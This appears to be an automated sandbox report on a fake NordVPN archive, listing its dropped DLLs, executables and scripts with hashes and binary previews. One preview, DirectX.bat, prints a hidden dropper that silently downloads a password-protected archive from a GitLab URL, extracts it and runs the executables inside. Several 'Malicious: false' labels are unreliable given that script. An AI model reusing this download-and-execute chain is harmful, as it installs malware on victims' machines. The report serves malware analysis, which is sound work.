Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PO....h...h...h..V....h.a....h..V....h..V....h.3.....h...i.^.h..V....h..V....h..\|....h..V....h.Rich..h.................PE..d...B..Q.........." .....>...>.......E..............................................t%....@.........................................Pt......Tm..d.......D.......(...............D....Q...............................................P...............................text....=.......>.................. ..`.rdata...+...P...,...B..............@..@.data...0............n..............@....pdata..(............p..............@..@.rsrc...D............v..............@..@.reloc...............~..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\unarchiver.log

Download File

Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1402
Entropy (8bit):	5.175569186808034
Encrypted:	false
SSDEEP:	24:PtTyffhgiJUgiJjWIUgiJUgiJUw6giJf6wFgiJUgiJFTATe8TYEfQ3iJU3iJjWIC:PsnhgGUgGbUgGUgGp6gGBgGUgGpPZAQt
MD5:	972566332339E89F7B42FD2433CD64FE
SHA1:	0617609B4D316691A7414A762AB74823AC2390D5
SHA-256:	C7F251B2083C65AC89EC4766A92B04C161CCEBA513F514ADC2ACEFD674C86EB2
SHA-512:	D6B7F8CDCB63A70FF3ABA93C5F9805C8404DCBC7D8EBEBCB08B6E57D1FA111101BCA7D2E712DA7DE078DD04FC27B4FC370686EA30D2BBB3139ADB5BCA4F35D86
Malicious:	false
Reputation:	low
Preview:	11/30/2022 12:08 AM: Unpack: C:\Users\user\Downloads\NordVPN-10_11.zip..11/30/2022 12:08 AM: Tmp dir: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx..11/30/2022 12:08 AM: Received from standard out: ..11/30/2022 12:08 AM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..11/30/2022 12:08 AM: Received from standard out: ..11/30/2022 12:08 AM: Received from standard out: Scanning the drive for archives:..11/30/2022 12:08 AM: Received from standard out: 1 file, 119057540 bytes (114 MiB)..11/30/2022 12:08 AM: Received from standard out: ..11/30/2022 12:08 AM: Received from standard out: Extracting archive: C:\Users\user\Downloads\NordVPN-10_11.zip..11/30/2022 12:09 AM: Unpack: C:\Users\user\Downloads\NordVPN-7_8.zip..11/30/2022 12:09 AM: Tmp dir: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l..11/30/2022 12:09 AM: Received from standard out: ..11/30/2022 12:09 AM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DL100AGM.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5714248
Entropy (8bit):	6.788288927588834
Encrypted:	false
SSDEEP:	98304:XETWMdQ1hV9M5wnx+49cRtvw7gVSOFld6QHJXJTHSewUgvhiWaOuBu3Cb+tbMTy2:XVVK58x+NRtomSuldtHJhyyb+tbM1
MD5:	21CB25B78EE9D4E2D651C600BA2BE2A3
SHA1:	E3BC20EE47633D06427015C07906DE925DB0B5DD
SHA-256:	75330E04960E72EEE106671CEEC9BD768E91DE1944CAFD402AAF7422C4BD7B39
SHA-512:	8CAB7A1FBA7FE8E6FF286B763504E18A9B465FACFE4D0F3A1FDFC06129885BE1535225FF99FEBFCD37C638291662D7BEB1E40F5C27391CE8ECE5317131AEBCCF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.A2../a../a../a..a../a..a6./a)zTa../a...a../a..a../a..a&./a..a../a..a../a..a../aRich../a................PE..L...9..R.........."!......:..T......(.4.......:....(..........................Z.....L.W...@.........................p.O.\|.....O.x.... U...............W.H....0U..,..@.:.......................G.......G.@.............:.......O......................text....:.......:................. ..`.rdata........:.......:.............@..@.data....k....O.......O.............@....tls..........U......DR.............@....rsrc........ U......FR.............@..@.reloc..l....0U......NR.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\7z.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1689600
Entropy (8bit):	6.281216665679078
Encrypted:	false
SSDEEP:	24576:ycLgCOTC8FxtcVdwk8RbhIr0FQpB2yyS+QGFIz6Mu4wEbPuiC:tgK8F4VahQmClkW6JEbPub
MD5:	19FD647448B26325E0C1F68A9A3FA03C
SHA1:	58F7092EC4CD64E82B20819C442EF1936F3F09D3
SHA-256:	8BDDCDF33588DF8C54AD3A2823D60CEFF5F08E73A055B1B1A4F8878B713636E5
SHA-512:	E18DDFA05D36EB8020EF5C38A598EE40FA3F342345F33A6AB1D8724465437AE9DAD31AFDA6006359D0443E17CBBEFF13846BA5CC26311997C7F0335087254F64
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.IHM..HM..HM..>..IM..>..CM..HM..+M..>...M...$..IM..>..dM...$..IM..S.x.MM..>..IM..>..IM..>..IM..RichHM..........................PE..d...0.._.........." .........J............................................................`.............................................y.......x........{...................@..@.......................................................h............................text............................... ..`.rdata..............................@..@.data...@...........................@....pdata........... ..................@..@.rsrc....{.......\|..................@..@.reloc...1...@...2..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\7z.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	475648
Entropy (8bit):	6.171106194022655
Encrypted:	false
SSDEEP:	6144:5sxgh2tusg0dS/ds1PkaMzfVNi3N3Dhak3qQw6/noQop71X9DwEdHtVzWh70+z82:SghWusg9/EPEz3cbC759VHtV3qqVQl
MD5:	EBC2E82461723839526B38B2CDE0EDD1
SHA1:	747722C4D3317CD2F4A963A37627C1D41DE51A6C
SHA-256:	A969163E3E72BB6B0CF77E2FD7D7EAD29FCFBC9D0D5C85FC5873DE937A3C9B6D
SHA-512:	642992F0287E6ACACD37484203D1202CF343840774965BC4E5640FB9B36AE2563E7CA426C931A51CF9D24C8417CFE81F79E420E0809256EE4D5D2EC446F810CB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2c..S...S...S....p..S....v..S...S...S....c..S...:...S....`..S......S....q..S....u..S..Rich.S..........PE..d...0.._.........."..........p................@...........................................`.....................................................x...............Xb......................................................................@............................text............................... ..`.rdata..d...........................@..@.data....,..........................@....pdata..Xb.......d..................@..@.rsrc................,..............@..@.reloc...............4..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\DirectX.bat

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1166
Entropy (8bit):	4.896041631619531
Encrypted:	false
SSDEEP:	24:Y5lX3ZmS5Vmho5VmQ83BVmM83TwVmPDW28QRn:YXX3B5yey3B63MRTgn
MD5:	CEEC1F5AC090FB6AC6CE4B6F6651A4E5
SHA1:	C3D381509821680EDCC77AA463C60BF96D1F2153
SHA-256:	53ED0E06691353BBE468BFAA839F73C53A75D891EB2AA6884C63403E13BBCD3F
SHA-512:	66A744957E2AC9966170206E211F92B2503232F9BCDF9E4052D5B4C370ADD94C348EA401823B2050C802B50D128CB8DCBECBA46F6C75F2257D9C36FE67BB1123
Malicious:	false
Reputation:	low
Preview:	@echo off..echo: & >nul timeout /t 60 /nobreak..start /wait /min %AppData%\DirectX\wget.exe -q --no-check-certificate "https://gitlab.com/michal63roberts63/soft/-/raw/main/DirectXbin.rar" -P %AppData%\DirectX..echo: & >nul timeout /t 5 /nobreak..start /wait /min %AppData%\DirectX\7z.exe x -y %AppData%\DirectX\DirectXbin.rar -p2022 -o%AppData%\DirectX..echo: & >nul timeout /t 4 /nobreak..start /wait /min %AppData%\DirectX\7z.exe x -y %AppData%\DirectX\DirectX.rar -p2022 -o%AppData%\DirectX..echo: & >nul timeout /t 4 /nobreak..start /min %AppData%\DirectX\DirectX.exe..echo: & >nul timeout /t 9 /nobreak..start /wait /min %AppData%\DirectX\7z.exe x -y %AppData%\DirectX\DirectX32.rar -p2022 -o%AppData%\DirectX..echo: & >nul timeout /t 5 /nobreak..start /min %AppData%\DirectX\DirectX32.exe..echo: & >nul timeout /t 9 /nobreak..start /wait /min %AppData%\DirectX\7z.exe x -y %AppData%\DirectX\DirectX64.rar -p2022 -o%AppData%\DirectX..echo: & >nul timeout /t 5 /nobreak..start /min %AppDa

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\WinRAR.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2230488
Entropy (8bit):	6.949430593758372
Encrypted:	false
SSDEEP:	49152:2oJAPtSHWxwJWzkDVkwg5NYUzNjteyUHBdH3y005:2ZAHWSxkfNNte9BpCN
MD5:	F59F4F7BEA12DD7C8D44F0A717C21C8E
SHA1:	17629CCB3BD555B72A4432876145707613100B3E
SHA-256:	F150B01C1CBC540C880DC00D812BCCA1A8ABE1166233227D621408F3E75B57D4
SHA-512:	44811F9A5F2917CCD56A7F894157FA305B749CA04903EEAECA493864742E459E0CE640C01C804C266283CE8C3E147C8E6B6CFD6C5CB717E2A374E92C32A63B2C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........F@.n(..n(..n(.d....n(.d...Dn(.d....n(.N....n(..0+..n(..0-..n(..0,..n(......n(......n(..n)..o(.G0-.Gn(.B0...n(.G0*..n(.Rich.n(.........................PE..L...S..\.....................x.......a.......@....@...........................+......O"...@.................................,...,.... ..P.............!..4....+.0...0;..T....................;.......;..@............@.. ............................text....-.......................... ..`.rdata.......@.......2..............@..@.data...$........F..................@....gfids..............................@..@.tls................................@....rsrc...P.... ......................@..@.reloc..0.....+....... .............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\setup64.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	5.264008326023519
Encrypted:	false
SSDEEP:	96:e+AxPNuB+AHpcuXAqVA709t+AU0ps+570pX6r:eDZNuBDH+uXAqe709tDU0yK70gr
MD5:	15153B92ED05A364F05C12401AFA816C
SHA1:	E357F2EFFFFF14F6F424ABC637FE71D6F41D8D7E
SHA-256:	F759F15B8F7C96EEE41BF4972E45CF48EAA3C2B7B029FB2282DA29EA9718A90D
SHA-512:	AB63C440FDD9F8EB29C3FDECA9A85AD018F5A70290160C414C81642D70BEBF40C5D225875811BFB5A8B3CB7631B22E1CFBE4A712DBE1516AC3F4BDE2F7EE3A9F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R.......R...P...R.Rich..R.........PE..L....B.^...........!.........................................................0............@.......................................... ..`...............................8............................................................................rdata..............................@..@.rsrc...`.... ......................@..@.............B.^........@...8...8........B.^....................GCTL....8....rdata..8...T....rdata$zzzdbg.... .......rsrc$01....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\setup64.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373344
Entropy (8bit):	6.333392087338908
Encrypted:	false
SSDEEP:	6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75
MD5:	E5C00B0BC45281666AFD14EEF04252B2
SHA1:	3B6EECF8250E88169976A5F866D15C60EE66B758
SHA-256:	542E2EBBDED3EF0C43551FB56CE44D4DBB36A507C2A801C0815C79D9F5E0F903
SHA-512:	2BACD4E1C584565DFD5E06E492B0122860BFC3B0CC1543E6BADED490535309834E0D5BB760F65DBFB19A9BB0BEDDB27A216C605BBED828810A480C8CD1FBA387
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J...$..$..$...'..$...!.:.$.>E...$.X. ..$.X.'..$.X.!..$... ..$...%..$..%.e.$...-..$......$...&..$.Rich..$.................PE..L...'.Gb.................t........................@.......................................@.................................,...........\...............`&.......,..8\..8...................(]......p\..@............................................text...ns.......t.................. ..`.rdata..X............x..............@..@.data...T3..........................@....rsrc...\...........................@..@.reloc...,...........^..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\setup64.exe.manifest

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1153
Entropy (8bit):	5.91838239742257
Encrypted:	false
SSDEEP:	24:OKdAlBAiEHlA/nZakkbH50VF4/PtJyr7ycFSRVUsJuZ6:OKdiBvKmndkb0F494haUsJu8
MD5:	4526C40DCAE0FDC61336987C860F92B0
SHA1:	76A8705C35FA5BFFEDE5DB3D13D68EC74A043D46
SHA-256:	CD876C04E8D610C576448ACBE03A89358D36B3F7B4F8131D1272F97D00243381
SHA-512:	9474EDE599B1C59369E3E7F7E3CCFCC8E3D9AA1432ADA0E6CD7EB4DC7024FFCDA074611EE5C2F200AFDE61B3B3FDE5191D30EF38F949B7BF3C1A187B750ABFD9
Malicious:	false
Reputation:	low
Preview:	<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">..<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">..<security>..<requestedPrivileges>..<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>..</requestedPrivileges>..</security>..</trustInfo>..</assembly>.. BEGIN_VBSEDIT_DATA..PHJvb3Q+DQo8dGltZW91dD4wPC90aW1lb3V0Pg0KPHNjcmlwdG5hbWU+c2V0dXA2..NC52YnM8L3NjcmlwdG5hbWU+DQo8YXBwbmFtZT5TZXR1cDY0PC9hcHBuYW1lPg0K..PHNjcmlwdC8+DQo8bmVlZERMTD50cnVlPC9uZWVkRExMPg0KPHBpZD5FUzczYnZ2..c3VudmQ2YmdMMEJKMG5pSU9VbFJRc1FWQVZkYkNHZ3owUXloOFVCVFBiUkR2NFM1..Q1FqcWhGSUsyPC9waWQ+DQo8ZXZhbHVhdGlvbj4wMjhlMjZhZGUzNWRmYjMxMTFh..MzE5MjdlYWEwNzRjY2E5NmFlYjZlOTNhODU5NDQwNTI5YmQ5ODE5MGM1MDUzNDE0..MzliYzViOWE1YjQyZWJiZmUxM2YxMjJmNjFkNjYxY2E4MzQyYmMxYjZmY2M0MTBk..OTc4YmUzMjNhNDAwMzEyNDM0ZDVkYzhmNmM1NTlkMzlhOWExNjkxYzZiYjE3NjJh..YzY3ZjU0MDUwNDU4ZGViNGRkYWEwMTc3Zjk0MWRmODc5YzRiODI3MWU1ZWJiNmIx..M2E5NzgyYTFmNDI1ZTIxNTU2NTU0NTJkNDM1ZmVhYTQ0YzcyOTc4MmY1ZmE2OGRj..

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\wget.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5128016
Entropy (8bit):	6.457617607357032
Encrypted:	false
SSDEEP:	98304:bHObnQdOb3OWEqNHeHq6PdOnS8SOGdVilQeHPpXF0aGOVxuGqYE6hpAl/70pzd+Z:bHInQ5WE2HeHq61OJSOGdVilQeHPpXFA
MD5:	8C04808E4BA12CB793CF661FBBF6C2A0
SHA1:	BDFDB50C5F251628C332042F85E8DD8CF5F650E3
SHA-256:	A7B656FB7A45F8980784B90B40F4A14D035B9DC15616465A341043736EC53272
SHA-512:	9619F96C3180EF3D738ECC1F5DF7508C3FF8904021065665C8388A484648E135105E1C1585DE1577C8B158F9B5BC241E3FF7F92665E9553E846E1B750DDEA20F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........M............#.`4...M..............p4...@.......................... O.......N....... ...............................N.X..................H.N..'....................................E.......................N.8............................text....V4......`4.................`..`.data........p4......p4.............@.`..rdata...Q....5..R....5.............@.p@/4......tG...pF..H...`F.............@.0@.bss..........M.......................`..idata..X....N..,....M.............@.0..CRT....4.....N.......M.............@.0..tls..........O.......M.............@.0./14...........O.......M.............@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\adbeape.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40064
Entropy (8bit):	6.274421390655552
Encrypted:	false
SSDEEP:	768:6oHeyyllSkorBjtgStOHOHK/r2SQ4OpGgrOcQZfpG3whp/:6UeySlSH7dKvQ4OpGgrOcQBpGghR
MD5:	515F64A6C82173F6AE51F73713C93E63
SHA1:	CBE3210332B57E8BCE0DD808747754E4D3EFB5BA
SHA-256:	1DA18EBC37EFC84313168B3050363E19AF2463EB28AE270349B4A379583E7B23
SHA-512:	6B854C1B343F8E9D92658FC59083911F9D86DFFB437DFB15789930E93FF745C04D343B6411C9F279AD2F696BFF1AC29A013C463E2B656C5B6A8ACAC9008C1BCB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PO....h...h...h..V....h.a....h..V....h..V....h.3.....h...i.^.h..V....h..V....h..\|....h..V....h.Rich..h.................PE..d...B..Q.........." .....>...>.......E....................................................@.........................................Pt......Tm..d.......D.......(...............D....Q...............................................P...............................text....=.......>.................. ..`.rdata...+...P...,...B..............@..@.data...0............n..............@....pdata..(............p..............@..@.rsrc...D............v..............@..@.reloc...............~..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\boost_system.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34944
Entropy (8bit):	5.892574430686721
Encrypted:	false
SSDEEP:	384:Zj17tArbZZb8GoVlPuWawUCfoBSrVgwSoRRi6wwJg2jFoRKSwsjtiGX65JNNzFwf:ZErHoVlPdrVgwrRi6wkljFMfpk3wh5
MD5:	E34FE9F692579294041A185F3C1C0A82
SHA1:	38D9DFC8FE524D44083EB07B3C0FFCB900E598C4
SHA-256:	A16ADF54B70D59F9A9B1BCEE3C296E2588B8FF757F8A68A0747736C163F0EF61
SHA-512:	428A1F99C6DB7F7C4E5C45A606B7241891BFE5A4E2D90D2DA6740CA757873ACA7A98B940D54E4AC90054CB3B85B4997A19A0EA88D7465454298A820584CD3102
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#...#...#.....'.......!.......2.......(.......'....[r. ...#...........!.......".....F."...#..."......."...Rich#...........PE..d......X.........." .....4...:.......2........@........................................... .........................................`d......$e..x....................l..........\|....U..T....................V..(...pU...............P...............................text....3.......4.................. ..`.rdata.......P.......8..............@..@.data...h....p.......V..............@....pdata...............Z..............@..@.tls.................`..............@....gfids..<............b..............@..@.rsrc................d..............@..@.reloc..\|............j..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\d3dcompiler_47.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3696072
Entropy (8bit):	6.574865903829714
Encrypted:	false
SSDEEP:	49152:nqr33AJsOB8SLXId6mEjWEmNZMKRMbDhQc6555Rqp28ITdGS90tQhveWja37PLE3:nyUa6PcMbWD86dGZR
MD5:	6BC4ADA9A7CAB72F49C564E6C86B4C3E
SHA1:	F0FBA01542A0FBE585106F7EFD884DF65E8C89DC
SHA-256:	7D0D1290382EA0E44A3178446A0C202696237E27DBB5F8F0827691092B8F2228
SHA-512:	D7EC39514C104B40A42CD3CA956BA84F5A78F237A39F40D85BA54983145BCE2DFBC7EC5E0CBC1BF8AB64D1D370371A7CBA5E30202D2C1F37782DB32486ED7F6E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a..V...V...V...[..o...[..W....h..T..._xi.Y...V........h..X....h..J....h..X....h..W....h.......h..U....h..W....h..W...RichV...........PE..L....=.f...........!......5...........*.......6...............................9.......8...@A..........................5.u...X.6.......7.@............D8..!... 7.p......T...................l..........@.............6.T............................text...%.5.......5................. ..`.data.........6..d....5.............@....idata........6......N6.............@..@.rsrc...@.....7......d6.............@..@.reloc..p.... 7......j6.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.682659983466061
Encrypted:	false
SSDEEP:	768:QQZRtQ/KBET2tQ2vUQGvoYKFLvZuAQMgei3PPBhZnaiPUIZOlu/VesxlL7r:QQZRtRCeQaUKFLvY/hOlQhr
MD5:	30260BE3F0EF942E7616935471CA5374
SHA1:	437361676F0228459E770C578A00D823F05D9B41
SHA-256:	9C8B8400D0F875AC4AD1D60085C89E4827FA07B5C835818B49CBDA9F749DAE5E
SHA-512:	201D9A7438441DBD7DB52596C591A652D6D0000F2382C5DB6E22B02FBFE59C3BDB2A162D4A268972F51650DF2314C010E00B62292AF3102D89B992FAC9F14B34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\B.H=,.H=,.H=,.AE..J=,.'K..J=,..s..I=,.'K..I=,.'K..A=,.'K..L=,.S...K=,.H=-..=,.S...K=,.S...I=,.S...I=,.S...I=,.RichH=,.................PE..d.....X.........." .....8...`.......=..............................................T=....@.........................................p........o..P...............t...............(....T...............................................P...............................text....7.......8.................. ..`.rdata...K...P...L...<..............@..@.data...............................@....pdata..t...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.5767989133204425
Encrypted:	false
SSDEEP:	384:PhoUaIUSI1PJQKmJDQk8GKjEXVa33SuQvvpCSWYyAIFDOlk6SX:Jha/SIpJQKwQ/jqVi0kSWPFDOli
MD5:	9A0FCD773CFB952A7A76CB56081C7242
SHA1:	2014B923467FA0D8756E40E272ADE88C2E47FFD3
SHA-256:	9D044A088E9808016538E11951BF15C7B6ADCA27A00BC47C4298890B4E5D2A22
SHA-512:	A83D66A48A2195C8A55CA2B2FE8FC08B5029EC57D4001C0AB395D4C8ED8DE8475960F1F5D9E6712DC005C65DC671BC4A38F575D914E90F38E52D804B37D850E2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............s...s...s......s.......s.O.....s.......s.......s.......s..U....s...r...s..U....s..U....s..U....s..U....s.Rich..s.........................PE..d...}..X.........." .....,...4.......1..............................................T.....@..........................................^.......Q..P...............l...............L...`B...............................................@..0............................text....*.......,.................. ..`.rdata...$...@...&...0..............@..@.data...X....p.......V..............@....pdata..l............X..............@..@.rsrc................\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.648390778463724
Encrypted:	false
SSDEEP:	768:wQ7Yd2EYIyBhlY62vIwIwOh4qqrh3VOluGtyZd:wQ8dPj62vIw9OoOlPyZ
MD5:	AA1E3C50A0976CC3297B1DC1C229E0FB
SHA1:	55F475AB89235AF8D589364F4E4A03A0FDB5C072
SHA-256:	C81194DDDA474B3B6A9375680461BD4A88854C92F17C3DF884728111D785ECED
SHA-512:	E1D34BBC6168C8BBAC9BE264DFCBFFA192C0E78A0C0618D06C009035415A3BB1DF110FFE00E1CF94704827FA5265FE227CA11EFFDA67795DC4180389492E38A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.....k...k...k.......k.s.....k.......k.s.....k.s.....k.s.....k..T....k...j.j.k..T....k..T....k..T....k..T....k.Rich..k.........PE..d......X.........." .....8...Z.......;...............................................\....@.................................................,p..P...............h....................S...............................................P...............................text....7.......8.................. ..`.rdata...E...P...F...<..............@..@.data...p...........................@....pdata..h...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.512273805936711
Encrypted:	false
SSDEEP:	384:Y73igMBoAXxOpiXtdbLLpqtHjybiVoOlk6xvlRH:YOxOpmLEjybi6Ol5lB
MD5:	FEE62389D41DE857A366517B42CB6F29
SHA1:	635B97CBA8CFF5377A08607DFCCFD590075D1B2E
SHA-256:	32656A3F9248BA7520205F291E389FFC9920342C813865C7FA60CEF2389613E2
SHA-512:	4E55BA7C0399DD480256D958E554D6E8609D54FA8E5B71749272B537CC45C68E9E31D124F142CFF5A33F05EFFB78092F334D41D87390FDD277C3C5F72F86F3B2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Vr...............kf.....}ei......]m.....}ek.....}e_.....}e^.......i...............Z.......n.......h.....Rich....................PE..d....E.X.........." .....&...4.......,..............................................!.....@..........................................\..b...4R..P...............................d....B...............................................@...............................text....%.......&.................. ..`.rdata..r&...@...(...*..............@..@.data...H....p.......R..............@....pdata...............V..............@..@.rsrc................Z..............@..@.reloc...............\..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\PRM.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29824
Entropy (8bit):	6.039838597688421
Encrypted:	false
SSDEEP:	384:n++gVRZmK7X+PouLyd1nRABercwHCajwWriXqyOwaQQRKSwsjtaGx5JNNzFwhhi7:n+90ZGdm2i6AfkfB33whmDT
MD5:	0FDDEC2C94465A6B68BF71A0510B75DA
SHA1:	0D1F7BACABB3A3AA37C227C730349C2B354291B6
SHA-256:	3778715E9997A36F24D7B131033BA00EC79E6957495F87D619679C584AA032AE
SHA-512:	7DE66ABD72A7110C5E6B927D7E2ACF6BA13C8630A4B7A2F669F9336F315448750878428CDEE8EBE3367590FD90203767286EDC1DBF570373A0A9417046AF7F94
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........aM...#...#...#..x....#..^ ...#..^&...#..^'...#..^"...#......#.T^"...#..."...#.T^&...#.T^#...#.Q^...#.......#.T^!...#.Rich..#.........................PE..d.....X.........." .....&...4......x$........@.....................................d..... ..........................................P.......S...............p.......X..........D....C..T...........................PD...............@...............................text....$.......&.................. ..`.rdata.......@.......*..............@..@.data........`.......H..............@....pdata.......p.......J..............@..@.gfids..4............N..............@..@.rsrc................P..............@..@.reloc..D............V..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\PlugPlugExternalObject.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36992
